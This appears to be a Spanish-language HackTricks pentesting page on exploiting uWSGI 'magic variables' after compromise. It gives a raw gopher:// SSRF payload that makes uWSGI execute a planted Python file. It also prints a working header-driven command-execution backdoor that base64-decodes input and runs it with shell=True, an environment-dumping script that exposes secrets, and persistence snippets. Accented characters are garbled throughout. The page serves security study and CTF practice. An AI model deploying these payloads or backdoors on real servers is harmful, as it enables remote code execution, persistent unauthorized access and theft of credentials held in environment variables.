WSGI Post-Exploitation Tricks
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Visi贸n general de WSGI
Web Server Gateway Interface (WSGI) es una especificaci贸n que describe c贸mo un servidor web se comunica con aplicaciones web, y c贸mo las aplicaciones web pueden encadenarse entre s铆 para procesar una solicitud. uWSGI es uno de los servidores WSGI m谩s populares, a menudo usado para servir aplicaciones web en Python.
Explotaci贸n de variables m谩gicas de uWSGI
uWSGI proporciona "variables m谩gicas" especiales que pueden usarse para configurar din谩micamente el comportamiento del servidor. Estas variables pueden establecerse mediante encabezados HTTP y pueden conducir a vulnerabilidades de seguridad graves si no se validan correctamente.
Variables explotables clave
UWSGI_FILE
- Ejecuci贸n arbitraria de archivos
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Esta variable permite cargar y ejecutar archivos Python arbitrarios como aplicaciones WSGI. Si un atacante puede controlar este par谩metro, puede lograr Remote Code Execution (RCE).
UWSGI_SCRIPT
- Script Loading
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Carga un script especificado como una nueva aplicaci贸n. Combinado con capacidades de subida o escritura de archivos, esto puede llevar a RCE.
UWSGI_MODULE
y UWSGI_CALLABLE
- Carga din谩mica de m贸dulos
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Estos par谩metros permiten cargar m贸dulos de Python arbitrarios y llamar funciones espec铆ficas dentro de ellos.
UWSGI_SETENV
- Manipulaci贸n de variables de entorno
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Se puede usar para modificar variables de entorno, potencialmente afectando el comportamiento de la aplicaci贸n o cargando configuraciones maliciosas.
UWSGI_PYHOME
- Manipulaci贸n del entorno de Python
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Cambia el entorno virtual de Python, lo que puede cargar paquetes maliciosos o diferentes int茅rpretes de Python.
UWSGI_CHDIR
- Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Cambia el directorio de trabajo antes de procesar las solicitudes, lo que puede usarse para ataques de path traversal.
SSRF + Gopher a
Vector de ataque
Cuando uWSGI es accesible v铆a SSRF (Server-Side Request Forgery), los atacantes pueden interactuar con el socket interno de uWSGI para explotar variables m谩gicas. Esto es especialmente peligroso cuando:
- La aplicaci贸n tiene vulnerabilidades SSRF
- uWSGI se est谩 ejecutando en un puerto/socket interno
- La aplicaci贸n no valida correctamente las variables m谩gicas
uWSGI es accesible debido a SSRF porque el archivo de configuraci贸n uwsgi.ini
contiene: socket = 127.0.0.1:5000
lo que lo hace accesible desde la aplicaci贸n web a trav茅s de SSRF.
Ejemplo de explotaci贸n
Paso 1: Crear payload malicioso
Primero, inyecta c贸digo Python en un archivo accesible por el servidor (escritura de archivo dentro del servidor, la extensi贸n del archivo no importa):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Paso 2: Preparar solicitud del protocolo uWSGI
Usa el protocolo Gopher para enviar paquetes uWSGI crudos:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
This payload:
- Se conecta a uWSGI en el puerto 5000
- Establece
UWSGI_FILE
para apuntar al archivo malicioso - Fuerza a uWSGI a cargar y ejecutar el c贸digo Python
Estructura del protocolo uWSGI
El protocolo uWSGI usa un formato binario en el que:
- Las variables se codifican como cadenas prefijadas por su longitud
- Cada variable tiene:
[name_length][name][value_length][value]
- El paquete comienza con un encabezado que contiene el tama帽o total
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Luego usa UWSGI_FILE
para cargar este backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Persistencia basada en variables de entorno
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Divulgaci贸n de Informaci贸n
Environment Variable Dumping
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Acceso al sistema de archivos
Usa UWSGI_CHDIR
combinado con el servicio de archivos para acceder a archivos sensibles:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Escalada de Privilegios
Manipulaci贸n de sockets
Si uWSGI se ejecuta con privilegios elevados, los atacantes podr铆an manipular los permisos del socket:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Sobrescritura de configuraci贸n
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Referencias
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.